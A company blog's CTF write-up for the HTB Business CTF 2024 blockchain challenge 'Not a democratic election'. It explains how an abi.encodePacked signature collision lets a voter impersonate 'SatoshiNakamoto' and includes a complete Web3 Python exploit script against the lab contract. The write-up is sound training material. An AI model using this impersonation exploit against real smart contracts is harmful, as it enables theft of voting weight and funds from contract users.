31. 07. 2024 Gianluca Piccolo ctf-writeups

CTF Exploit: Not A Democratic Election

Hello everyone, today I’d like to show you how we exploited the Not a democratic election challenge from HTB Business CTF 2024.

This challenge is of type Blockchain and is based on Solidity Smart Contracts for Ethereum.

Since the official exploit uses Foundry, and I couldn’t run Foundry on my workstation, I’d like to report another way to do it with Web3 Python library.

The challenge description explains that there’s an election between 2 parties – ALF (Automata Liberation Front) and CIM (Cyborgs Independence Movement). To solve it we must make the CIM party win the election. Every vote’s weight changes in relation to how much the voter can pay. Of course, we do not have enough ETH to make the CIM party win. The whole challenge is based on the exploit of the deployed smart contract vulnerability that allows us to vote with the weight of another user. In this specific case, we must impersonate a user who has an enormous amount of deposited ETH: Satoshi Nakamoto.

The smart contract provides 2 public functions:

As you can see, both the depositVoteCollateral and vote functions uses the getVoterSig to identify the voter’s weight. The getVoterSig function uses the abi.encodedPacked Solidity API encoder that just concatenates the 2 params _name and _surname. In this way we can evade the check that keeps one voter from impersonating another voter by passing some name and surname strings that once concatenated from the getVoterSig form the signature of Satoshi Nakamoto (SatoshiNakamoto).

The following code exploits this vulnerability to make the CIM party win the election:

#!/usr/bin/env python3

from web3 import Web3
from eth_account import Account

w3 = Web3(Web3.HTTPProvider("http://<IP>:<PORT>"))

abi = """<ABI>"""

address = "<ADDRESS>"
private_key = "<PRIVATE_KEY>"
target_contract = "<TARGET_CONTRACT>"

name = "Satosh"
surname = "iNakamoto"

contract_instance = w3.eth.contract(address=target_contract, abi=abi)
account = Account.from_key(private_key)
cim = bytes("CIM", "utf-8")

call_function = contract_instance.functions.depositVoteCollateral(
    name, surname
).build_transaction({"from": address, "nonce": 0, "value": 1})
signed_tx = w3.eth.account.sign_transaction(call_function, private_key=private_key)
send_tx = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(send_tx)

for i in range(1, 12):
    call_function = contract_instance.functions.vote(
        cim, name, surname
    ).build_transaction({"from": address, "nonce": i})
    signed_tx = w3.eth.account.sign_transaction(call_function, private_key=private_key)
    send_tx = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    tx_receipt = w3.eth.wait_for_transaction_receipt(send_tx)

Please note that the IP, the PORT, as long as all the other <PLACEHOLDERS> are given beforehand with the challenge instance container. The script to set it up can be found here. Only the ABI string must be extracted from the smart contract NotADemocraticElection.sol script. Here you can find multiple ways to do it.

These Solutions are Engineered by Humans

Did you learn from this article? Perhaps you’re already familiar with some of the techniques above? If you find cybersecurity issues interesting, maybe you could start in a cybersecurity or similar position here at Würth Phoenix.

Gianluca Piccolo
Full Stack Developer at Wuerth Phoenix. I love questioning myself, find new challenges to learn and new adventures to grow up. PHP lover trying to expand my skills studying new languages and tools to improve my professional life.

Author

Gianluca Piccolo

Full Stack Developer at Wuerth Phoenix. I love questioning myself, find new challenges to learn and new adventures to grow up. PHP lover trying to expand my skills studying new languages and tools to improve my professional life.

Leave a Reply

Your email address will not be published. Required fields are marked *

Archive